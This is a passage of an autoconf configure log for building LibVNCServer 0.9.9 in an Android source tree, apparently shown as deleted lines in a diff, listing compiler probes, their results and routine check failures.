-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| /* end confdefs.h. */
-| #include<stdint.h>
-|
-| int
-| main ()
-| {
-| if (sizeof ((uint64_t)))
-| return 0;
-| ;
-| return 0;
-| }
-configure:23421: result: yes
-configure:23429: result: ... seen our uintptr_t in stdint.h (uint64_t too)
-configure:23694: result: creating rfb/rfbint.h : _RFB_RFBINT_H
-configure:23721: checking for int_least32_t
-configure:23721: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23721: $? = 0
-configure:23721: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:52:28: error: expected expression before ')' token
-configure:23721: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| /* end confdefs.h. */
-| #include <stdint.h>
-|
-| int
-| main ()
-| {
-| if (sizeof ((int_least32_t)))
-| return 0;
-| ;
-| return 0;
-| }
-configure:23721: result: yes
-configure:23727: checking for int_fast32_t
-configure:23727: gcc -c -g -O2 -Wall conftest.c >&5
-configure:23727: $? = 0
-configure:23727: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:52:27: error: expected expression before ')' token
-configure:23727: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| /* end confdefs.h. */
-| #include<stdint.h>
-|
-| int
-| main ()
-| {
-| if (sizeof ((int_fast32_t)))
-| return 0;
-| ;
-| return 0;
-| }
-configure:23727: result: yes
-configure:23740: result: ..adding include stdint.h
-configure:23750: result: ... seen good stdint.h inttypes
-configure:23886: result: ... seen good uint64_t
-configure:24106: result: ... DONE rfb/rfbint.h
-configure:24115: checking for in_addr_t
-configure:24133: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:52:11: warning: unused variable 'foo' [-Wunused-variable]
-configure:24133: $? = 0
-configure:24141: result:
-configure:24149: checking for working memcmp
-configure:24192: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24192: $? = 0
-configure:24192: ./conftest
-configure:24192: $? = 0
-configure:24202: result: yes
-configure:24211: checking whether lstat correctly handles trailing slash
-configure:24237: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24237: $? = 0
-configure:24237: ./conftest
-configure:24237: $? = 0
-configure:24254: result: yes
-configure:24273: checking whether stat accepts an empty string
-configure:24293: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24293: $? = 0
-configure:24293: ./conftest
-configure:24293: $? = 0
-configure:24303: result: no
-configure:24321: checking for strftime
-configure:24321: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:71:6: warning: conflicting types for built-in function 'strftime' [enabled by default]
-configure:24321: $? = 0
-configure:24321: result: yes
-configure:24376: checking for vprintf
-configure:24376: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:72:6: warning: conflicting types for built-in function 'vprintf' [enabled by default]
-configure:24376: $? = 0
-configure:24376: result: yes
-configure:24382: checking for _doprnt
-configure:24382: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-/tmp/ccGwZHiA.o: In function `main':
-/data/src/android-master/external/libvncserver/conftest.c:84: undefined reference to `_doprnt'
-collect2: error: ld returned 1 exit status
-configure:24382: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| /* end confdefs.h. */
-| /* Define _doprnt to an innocuous variant, in case <limits.h> declares _doprnt.
-| For example, HP-UX 11i <limits.h> declares gettimeofday. */
-| #define _doprnt innocuous__doprnt
-|
-| /* System header to define __stub macros and hopefully few prototypes,
-| which can conflict with char _doprnt (); below.
-| Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
-| <limits.h> exists even on freestanding compilers. */
-|
-| #ifdef __STDC__
-| # include <limits.h>
-| #else
-| # include <assert.h>
-| #endif
-|
-| #undef _doprnt
-|
-| /* Override any GCC internal prototype to avoid an error.
-| Use char because int might match the return type of a GCC
-| builtin and then its argument prototype would still apply. */
-| #ifdef __cplusplus
-| extern "C"
-| #endif
-| char _doprnt ();
-| /* The GNU C library defines this for functions which it implements
-| to always fail with ENOSYS. Some functions are actually named
-| something starting with __ and the normal name is an alias. */
-| #if defined __stub__doprnt || defined __stub____doprnt
-| choke me
-| #endif
-|
-| int
-| main ()
-| {
-| return _doprnt ();
-| ;
-| return 0;
-| }
-configure:24382: result: no
-configure:24393: checking for pid_t
-configure:24393: gcc -c -g -O2 -Wall conftest.c >&5
-configure:24393: $? = 0
-configure:24393: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c: In function 'main':
-conftest.c:86:20: error: expected expression before ')' token
-configure:24393: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #ifdef HAVE_SYS_TYPES_H
-| # include <sys/types.h>
-| #endif
-| #ifdef HAVE_SYS_STAT_H
-| # include <sys/stat.h>
-| #endif
-| #ifdef STDC_HEADERS
-| # include <stdlib.h>
-| # include <stddef.h>
-| #else
-| # ifdef HAVE_STDLIB_H
-| # include <stdlib.h>
-| # endif
-| #endif
-| #ifdef HAVE_STRING_H
-| # if !defined STDC_HEADERS && defined HAVE_MEMORY_H
-| # include <memory.h>
-| # endif
-| # include <string.h>
-| #endif
-| #ifdef HAVE_STRINGS_H
-| # include <strings.h>
-| #endif
-| #ifdef HAVE_INTTYPES_H
-| # include <inttypes.h>
-| #endif
-| #ifdef HAVE_STDINT_H
-| # include <stdint.h>
-| #endif
-| #ifdef HAVE_UNISTD_H
-| # include <unistd.h>
-| #endif
-| int
-| main ()
-| {
-| if (sizeof ((pid_t)))
-| return 0;
-| ;
-| return 0;
-| }
-configure:24393: result: yes
-configure:24406: checking vfork.h usability
-configure:24406: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c:83:19: fatal error: vfork.h: No such file or directory
-compilation terminated.
-configure:24406: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| /* end confdefs.h. */
-| #include <stdio.h>
-| #ifdef HAVE_SYS_TYPES_H
-| # include <sys/types.h>
-| #endif
-| #ifdef HAVE_SYS_STAT_H
-| # include <sys/stat.h>
-| #endif
-| #ifdef STDC_HEADERS
-| # include <stdlib.h>
-| # include <stddef.h>
-| #else
-| # ifdef HAVE_STDLIB_H
-| # include <stdlib.h>
-| # endif
-| #endif
-| #ifdef HAVE_STRING_H
-| # if !defined STDC_HEADERS && defined HAVE_MEMORY_H
-| # include <memory.h>
-| # endif
-| # include <string.h>
-| #endif
-| #ifdef HAVE_STRINGS_H
-| # include <strings.h>
-| #endif
-| #ifdef HAVE_INTTYPES_H
-| # include <inttypes.h>
-| #endif
-| #ifdef HAVE_STDINT_H
-| # include <stdint.h>
-| #endif
-| #ifdef HAVE_UNISTD_H
-| # include <unistd.h>
-| #endif
-| #include <vfork.h>
-configure:24406: result: no
-configure:24406: checking vfork.h presence
-configure:24406: gcc -E conftest.c
-conftest.c:50:19: fatal error: vfork.h: No such file or directory
-compilation terminated.
-configure:24406: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| /* end confdefs.h. */
-| #include <vfork.h>
-configure:24406: result: no
-configure:24406: checking for vfork.h
-configure:24406: result: no
-configure:24419: checking for fork
-configure:24419: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:73:6: warning: conflicting types for built-in function 'fork' [enabled by default]
-configure:24419: $? = 0
-configure:24419: result: yes
-configure:24419: checking for vfork
-configure:24419: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24419: $? = 0
-configure:24419: result: yes
-configure:24429: checking for working fork
-configure:24451: gcc -o conftest -g -O2 -Wall conftest.c -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24451: $? = 0
-configure:24451: ./conftest
-configure:24451: $? = 0
-configure:24461: result: yes
-configure:24482: checking for working vfork
-configure:24592: result: yes
-configure:24617: checking for gethostbyname in -lnsl
-configure:24642: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24642: $? = 0
-configure:24651: result: yes
-configure:24662: checking for socket in -lsocket
-configure:24687: gcc -o conftest -g -O2 -Wall conftest.c -lsocket -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-/usr/bin/ld: cannot find -lsocket
-collect2: error: ld returned 1 exit status
-configure:24687: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| #define HAVE_FORK 1
-| #define HAVE_VFORK 1
-| #define HAVE_WORKING_VFORK 1
-| #define HAVE_WORKING_FORK 1
-| #define HAVE_LIBNSL 1
-| /* end confdefs.h. */
-|
-| /* Override any GCC internal prototype to avoid an error.
-| Use char because int might match the return type of a GCC
-| builtin and then its argument prototype would still apply. */
-| #ifdef __cplusplus
-| extern "C"
-| #endif
-| char socket ();
-| int
-| main ()
-| {
-| return socket ();
-| ;
-| return 0;
-| }
-configure:24696: result: no
-configure:24717: checking for ftime
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for gethostbyname
-configure:24717: result: yes
-configure:24717: checking for gethostname
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for gettimeofday
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for inet_ntoa
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for memmove
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:83:6: warning: conflicting types for built-in function 'memmove' [enabled by default]
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for memset
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:84:6: warning: conflicting types for built-in function 'memset' [enabled by default]
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for mmap
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for mkfifo
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for select
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for socket
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for strchr
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:89:6: warning: conflicting types for built-in function 'strchr' [enabled by default]
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for strcspn
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:90:6: warning: conflicting types for built-in function 'strcspn' [enabled by default]
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for strdup
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:91:6: warning: conflicting types for built-in function 'strdup' [enabled by default]
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for strerror
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24717: checking for strstr
-configure:24717: gcc -o conftest -g -O2 -Wall conftest.c -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-conftest.c:93:6: warning: conflicting types for built-in function 'strstr' [enabled by default]
-configure:24717: $? = 0
-configure:24717: result: yes
-configure:24743: checking for shmget in -lcygipc
-configure:24768: gcc -o conftest -g -O2 -Wall conftest.c -lcygipc -lnsl -lpthread -lz -lpng -ljpeg -lresolv >&5
-/usr/bin/ld: cannot find -lcygipc
-collect2: error: ld returned 1 exit status
-configure:24768: $? = 1
-configure: failed program was:
-| /* confdefs.h */
-| #define PACKAGE_NAME "LibVNCServer"
-| #define PACKAGE_TARNAME "libvncserver"
-| #define PACKAGE_VERSION "0.9.9"
-| #define PACKAGE_STRING "LibVNCServer 0.9.9"
-| #define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-| #define PACKAGE_URL ""
-| #define PACKAGE "LibVNCServer"
-| #define VERSION "0.9.9"
-| #define STDC_HEADERS 1
-| #define HAVE_SYS_TYPES_H 1
-| #define HAVE_SYS_STAT_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_MEMORY_H 1
-| #define HAVE_STRINGS_H 1
-| #define HAVE_INTTYPES_H 1
-| #define HAVE_STDINT_H 1
-| #define HAVE_UNISTD_H 1
-| #define HAVE_DLFCN_H 1
-| #define ALLOW24BPP 1
-| #define HAVE_LIBCRYPT 1
-| #define HAVE_X11 1
-| #define HAVE_LIBJPEG 1
-| #define HAVE_LIBPNG 1
-| #define HAVE_LIBZ 1
-| #define HAVE_LIBPTHREAD 1
-| #define HAVE_TLS 1
-| #define WITH_TIGHTVNC_FILETRANSFER 1
-| #define WITH_WEBSOCKETS 1
-| #define IPv6 1
-| #define STDC_HEADERS 1
-| #define HAVE_ARPA_INET_H 1
-| #define HAVE_FCNTL_H 1
-| #define HAVE_NETDB_H 1
-| #define HAVE_NETINET_IN_H 1
-| #define HAVE_STDLIB_H 1
-| #define HAVE_STRING_H 1
-| #define HAVE_SYS_SOCKET_H 1
-| #define HAVE_SYS_TIME_H 1
-| #define HAVE_SYS_TIMEB_H 1
-| #define HAVE_SYSLOG_H 1
-| #define HAVE_UNISTD_H 1
-| #define TIME_WITH_SYS_TIME 1
-| #define HAVE_SYS_WAIT_H 1
-| #define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-| #define HAVE_STRFTIME 1
-| #define HAVE_VPRINTF 1
-| #define HAVE_FORK 1
-| #define HAVE_VFORK 1
-| #define HAVE_WORKING_VFORK 1
-| #define HAVE_WORKING_FORK 1
-| #define HAVE_LIBNSL 1
-| #define HAVE_FTIME 1
-| #define HAVE_GETHOSTBYNAME 1
-| #define HAVE_GETHOSTNAME 1
-| #define HAVE_GETTIMEOFDAY 1
-| #define HAVE_INET_NTOA 1
-| #define HAVE_MEMMOVE 1
-| #define HAVE_MEMSET 1
-| #define HAVE_MMAP 1
-| #define HAVE_MKFIFO 1
-| #define HAVE_SELECT 1
-| #define HAVE_SOCKET 1
-| #define HAVE_STRCHR 1
-| #define HAVE_STRCSPN 1
-| #define HAVE_STRDUP 1
-| #define HAVE_STRERROR 1
-| #define HAVE_STRSTR 1
-| /* end confdefs.h. */
-|
-| /* Override any GCC internal prototype to avoid an error.
-| Use char because int might match the return type of a GCC
-| builtin and then its argument prototype would still apply. */
-| #ifdef __cplusplus
-| extern "C"
-| #endif
-| char shmget ();
-| int
-| main ()
-| {
-| return shmget ();
-| ;
-| return 0;
-| }
-configure:24777: result: no
-configure:24808: checking ApplicationServices/ApplicationServices.h usability
-configure:24808: gcc -c -g -O2 -Wall conftest.c >&5
-conftest.c:104:53: fatal error: ApplicationServices/ApplicationServices.h: No such file or directory
-compilation terminated.
-configure:24808: $? = 1
-configure: failed program was:
-| /* confdefs.h */
